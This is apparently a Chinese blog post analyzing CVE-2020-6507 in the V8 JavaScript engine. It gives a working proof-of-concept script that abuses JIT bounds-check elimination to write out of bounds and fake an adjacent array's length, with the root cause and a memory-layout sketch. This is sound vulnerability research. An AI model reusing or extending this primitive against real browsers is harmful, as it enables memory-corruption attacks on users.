cve_2020_6507分析
poc
$ cat poc.js
array = Array(0x40000).fill(1.1);
args = Array(0x100 - 1).fill(array);
args.push(Array(0x40000 - 4).fill(2.2));
giant_array = Array.prototype.concat.apply([], args);
giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3);
length_as_double =
new Float64Array(new BigUint64Array([0x22222222n]).buffer)[0];
function trigger(array, oob) {
var x = array.length;
x -= 67108861; // 1 2
x = Math.max(x, 0);
x *= 10; // 10 20
x -= 9; // 1 11
x = Math.max(x, 0);
oob[x] = length_as_double; // fake length
}
for (let i = 0; i < 30000; ++i) {
vul = [1.1, 2.1];
pad = [vul];
double_array = [3.1];
obj = {"a": 2.1};
obj_array = [obj];
trigger(giant_array, vul);
}
console.log("length = ", double_array.length.toString(16));
$ ./d8 poc.js
length = 11111111
漏洞原因分析
NewFixedArray和NewFixedDoubleArray没有对数组的大小进行判断.kFixedDoubleArrayMaxLength = 671088612。所以浮点数组的最大长度为67108862。
giant_array长度为0x40000*0xff + 0x3fffc + 3 = 67108863,其中splice函数会调用NewFixedDoubleArray函数,造成数组长度超过kFixedDoubleArrayMaxLength。
传入giant_array后trigger函数计算得到x为11,而vul长度为2,正常情况下是不会造成越界读写的。
但是v8在执行代码时会进行jit优化,去除掉冗余代码,加速代码执行。在正常情况下trigger函数会默认传入的数组长度<=kFixedDoubleArrayMaxLength.这样子计算出来的x为0或1,而vul[0]或vul[1]是可以正常访问的,那么jit在优化时就会将长度检查这部分优化掉。而我们得到的x为11,这样就可以越界读写,而vul[11]这个位置正是double_array的length位。
内存分布大概如下
32 bit map | 32 bit length
64 bit double vul[0]
64 bit double vul[1]
32 bit map | 32 bit properties
32 bit elements | 32 bit length
32 bit map | 32 bit length
32 bit pad[0] | 32 bit map
32 bit properties | 32 bit elements
32 bit length | 32 bit map
32 bit length | high 32 bit of double_array[0]
low 32 bit of double_array[0] | 32 bit map
32 bit properties | 32 bit elements
32 bit length
cve_2020_6507分析的更多相关文章
- alias导致virtualenv异常的分析和解法
title: alias导致virtualenv异常的分析和解法 toc: true comments: true date: 2016-06-27 23:40:56 tags: [OS X, ZSH ...
- 火焰图分析openresty性能瓶颈
注:本文操作基于CentOS 系统 准备工作 用wget从https://sourceware.org/systemtap/ftp/releases/下载最新版的systemtap.tar.gz压缩包 ...
- 一起来玩echarts系列(一)------箱线图的分析与绘制
一.箱线图 Box-plot 箱线图一般被用作显示数据分散情况.具体是计算一组数据的中位数.25%分位数.75%分位数.上边界.下边界,来将数据从大到小排列,直观展示数据整体的分布情况. 大部分正常数 ...
- 应用工具 .NET Portability Analyzer 分析迁移dotnet core
大多数开发人员更喜欢一次性编写好业务逻辑代码,以后再重用这些代码.与构建不同的应用以面向多个平台相比,这种方法更加容易.如果您创建与 .NET Core 兼容的.NET 标准库,那么现在比以往任何时候 ...
- UWP中新加的数据绑定方式x:Bind分析总结
UWP中新加的数据绑定方式x:Bind分析总结 0x00 UWP中的x:Bind 由之前有过WPF开发经验,所以在学习UWP的时候直接省略了XAML.数据绑定等几个看着十分眼熟的主题.学习过程中倒是也 ...
- 查看w3wp进程占用的内存及.NET内存泄露,死锁分析
一 基础知识 在分析之前,先上一张图: 从上面可以看到,这个w3wp进程占用了376M内存,启动了54个线程. 在使用windbg查看之前,看到的进程含有 *32 字样,意思是在64位机器上已32位方 ...
- ZIP压缩算法详细分析及解压实例解释
最近自己实现了一个ZIP压缩数据的解压程序,觉得有必要把ZIP压缩格式进行一下详细总结,数据压缩是一门通信原理和计算机科学都会涉及到的学科,在通信原理中,一般称为信源编码,在计算机科学里,一般称为数据 ...
- ABP源码分析一:整体项目结构及目录
ABP是一套非常优秀的web应用程序架构,适合用来搭建集中式架构的web应用程序. 整个Abp的Infrastructure是以Abp这个package为核心模块(core)+15个模块(module ...
- HashMap与TreeMap源码分析
1. 引言 在红黑树--算法导论(15)中学习了红黑树的原理.本来打算自己来试着实现一下,然而在看了JDK(1.8.0)TreeMap的源码后恍然发现原来它就是利用红黑树实现的(很惭愧学了Ja ...
- ElasticSearch 5学习(9)——映射和分析(string类型废弃)
在ElasticSearch中,存入文档的内容类似于传统数据每个字段一样,都会有一个指定的属性,为了能够把日期字段处理成日期,把数字字段处理成数字,把字符串字段处理成字符串值,Elasticsearc ...
随机推荐
- python进阶:带你学习实时目标跟踪
摘要:本程序主要实现了python的opencv人工智能视觉模块的目标跟踪功能. 本文分享自华为云社区<python进阶--人工智能实时目标跟踪,这一篇就够用了!>,作者:lqj_本人 . ...
- Spring 注解整理
更多内容,前往IT-BLOG 一.核心容器 [1]@Configuration:告诉 Spring 这是一个配置类(配置类=配置文件)[2]@Bean:给容器中注册一个 Bean :类型为返回值类型, ...
- Flutter 异步编程指南
作者:京东物流 王志明 1 Dart 中的事件循环模型 在 App 开发中,经常会遇到处理异步任务的场景,如网络请求.读写文件等.Android.iOS 使用的是多线程,而在 Flutter 中为单线 ...
- ARM 详解
一.ARM 的发展史 ARM 的发展历史可以追溯到 1978 年,当年克里斯·库里(Chris Currry)所任职的公司遭遇财务危机,发展每况愈下,库里在和创始人深入沟通后,决定离职.当时的库里对微 ...
- docker方式实现minio数据持久化离线安装
保存镜像 root@hello:~# docker pull minio/minio Using default tag: latest latest: Pulling from minio/mini ...
- [PKM] 个人知识管理
1 个人知识管理的需求 1.1 背景 随着信息大爆炸,碎片化的知识越来越多,原来中小学阶段在学校中习得的.传统的.基于纸质笔记的知识管理方式已不能满足当前的诉求. 传统的基于纸质笔记的知识管理方式 工 ...
- 四月二十四号java基础知识
1.输入输出是指程序与外部设备或其他计算机进行交互的操作2.流(stream)是指计算机各部件之间的数据流动流的内容上划分:流分为字节流和字符流3.输入流:将数据从外设或外存(如键盘.鼠标.文件等)传 ...
- 【KFC】JZ408 Koufu Contest 3 题解
甲:ABC214 F - Substrings 乙:ARC117 C - Tricolor Pyramid 丙1:ARC110 E - Shorten ABC 丙2:AGC027 E - ABBrev ...
- Linux升级安装GCC
各发行版本Linux中,其自带的gcc安装源版本都比较旧,我所使用CentOS 6系统中,gcc版本只有4.4.7.最近要安装几个软件要求gcc 4.8+,无奈只能手动升级gcc. 1. 下载最新版本 ...
- 帝国cms将没有搜索到结果的关键字存入到数据库的方法
在帝国cms网站前台搜索一个关键字,如果在网站中查询到了,这个关键字会被记录入搜索关键字表中,但是如果在网站中没有搜索到,就不会记录入搜索关键字表中,那怎么把没有搜索结果的关键字才能记录到数据库中,方 ...